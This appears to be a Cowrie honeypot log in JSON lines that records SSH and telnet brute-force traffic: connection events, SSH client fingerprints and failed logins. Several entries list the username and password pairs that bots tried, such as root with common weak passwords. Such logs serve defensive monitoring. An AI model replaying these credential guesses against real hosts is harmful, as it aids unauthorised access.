{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a55ce83ac857","protocol":"telnet","message":"New connection: 152.42.224.71:59934 (10.17.0.5:23) [session: a55ce83ac857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:13.228536Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:13.248798Z","src_ip":"109.172.54.111","session":"1a3eaf3db94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:13.496851Z","src_ip":"31.40.204.166","session":"2a18177dc414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":38324,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f87123d29d7","protocol":"ssh","message":"New connection: 182.93.50.90:38324 (10.17.0.5:22) [session: 1f87123d29d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:16.115580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:16.121006Z","src_ip":"182.93.50.90","session":"1f87123d29d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:16.342931Z","src_ip":"182.93.50.90","session":"1f87123d29d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinus123","message":"login attempt [root/sinus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:17.255826Z","src_ip":"182.93.50.90","session":"1f87123d29d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":58366,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d04232c151","protocol":"ssh","message":"New connection: 190.85.41.170:58366 (10.17.0.5:22) [session: f5d04232c151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:17.408948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:17.414163Z","src_ip":"190.85.41.170","session":"f5d04232c151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:17.493103Z","src_ip":"190.85.41.170","session":"f5d04232c151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boyun2019","message":"login attempt [root/boyun2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:17.819929Z","src_ip":"190.85.41.170","session":"f5d04232c151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.58726263046265,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:18.359930Z","src_ip":"152.42.224.71","session":"9ed38b04a597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:18.479395Z","src_ip":"182.93.50.90","session":"1f87123d29d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:18.895875Z","src_ip":"190.85.41.170","session":"f5d04232c151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.44097185134888,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:19.370928Z","src_ip":"152.42.224.71","session":"6a277858eb95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":36244,"dst_ip":"10.17.0.5","dst_port":22,"session":"1221cef28de0","protocol":"ssh","message":"New connection: 43.156.96.97:36244 (10.17.0.5:22) [session: 1221cef28de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:21.240486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:21.245874Z","src_ip":"43.156.96.97","session":"1221cef28de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:21.492902Z","src_ip":"43.156.96.97","session":"1221cef28de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZXSW@","message":"login attempt [root/!QAZXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:22.511127Z","src_ip":"43.156.96.97","session":"1221cef28de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:22.811472Z","src_ip":"47.237.167.49","session":"849b29ff6316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57584,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e45b089966a","protocol":"ssh","message":"New connection: 31.40.204.166:57584 (159.203.135.109:22) [session: 0e45b089966a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:23.410531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:23.418737Z","src_ip":"31.40.204.166","session":"0e45b089966a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:23.587571Z","src_ip":"31.40.204.166","session":"0e45b089966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:23.760416Z","src_ip":"43.156.96.97","session":"1221cef28de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:24.003593Z","src_ip":"31.40.204.166","session":"0e45b089966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:25.200743Z","src_ip":"31.40.204.166","session":"0e45b089966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00446653366089,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:25.396053Z","src_ip":"152.42.224.71","session":"ede0c7f260b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"85.2","message":"Connection lost after 85.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:25.771325Z","src_ip":"47.237.167.49","session":"849b29ff6316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50650,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e57482309fc","protocol":"telnet","message":"New connection: 152.42.224.71:50650 (10.17.0.5:23) [session: 0e57482309fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:25.914495Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f1e1429952","protocol":"telnet","message":"New connection: 152.42.224.71:50666 (10.17.0.5:23) [session: d5f1e1429952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:34.963574Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60892,"dst_ip":"159.203.135.109","dst_port":22,"session":"fead18b00198","protocol":"ssh","message":"New connection: 31.40.204.166:60892 (159.203.135.109:22) [session: fead18b00198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:35.501626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:35.510131Z","src_ip":"31.40.204.166","session":"fead18b00198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:35.683598Z","src_ip":"31.40.204.166","session":"fead18b00198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:36.105034Z","src_ip":"31.40.204.166","session":"fead18b00198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.86052489280701,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:36.444443Z","src_ip":"152.42.224.71","session":"df4f8cef9467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:37.283198Z","src_ip":"31.40.204.166","session":"fead18b00198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.6231734752655,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:37.456327Z","src_ip":"152.42.224.71","session":"01db1d24d1f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.04020857810974,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:38.823870Z","src_ip":"152.42.224.71","session":"e0178947f233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47524,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52e4cc20cd4","protocol":"telnet","message":"New connection: 152.42.224.71:47524 (10.17.0.5:23) [session: e52e4cc20cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:39.258580Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47534,"dst_ip":"10.17.0.5","dst_port":23,"session":"1051301559c8","protocol":"telnet","message":"New connection: 152.42.224.71:47534 (10.17.0.5:23) [session: 1051301559c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:39.436202Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":42982,"dst_ip":"10.17.0.5","dst_port":22,"session":"73bd5e39223b","protocol":"ssh","message":"New connection: 103.91.246.101:42982 (10.17.0.5:22) [session: 73bd5e39223b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:40.815624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:40.820657Z","src_ip":"103.91.246.101","session":"73bd5e39223b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:41.045664Z","src_ip":"103.91.246.101","session":"73bd5e39223b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cic","message":"login attempt [root/cic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:41.958829Z","src_ip":"103.91.246.101","session":"73bd5e39223b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":32914,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2d77af303b3","protocol":"ssh","message":"New connection: 170.106.159.59:32914 (10.17.0.5:22) [session: c2d77af303b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:41.972701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:41.979008Z","src_ip":"170.106.159.59","session":"c2d77af303b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:42.048124Z","src_ip":"170.106.159.59","session":"c2d77af303b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47536,"dst_ip":"10.17.0.5","dst_port":23,"session":"befc35660919","protocol":"telnet","message":"New connection: 152.42.224.71:47536 (10.17.0.5:23) [session: befc35660919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:42.068775Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX","message":"login attempt [root/!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:42.351208Z","src_ip":"170.106.159.59","session":"c2d77af303b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:43.182998Z","src_ip":"103.91.246.101","session":"73bd5e39223b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:43.422687Z","src_ip":"170.106.159.59","session":"c2d77af303b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.46719169616699,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:46.055399Z","src_ip":"152.42.224.71","session":"a23182000d19","protocol":"telnet"}
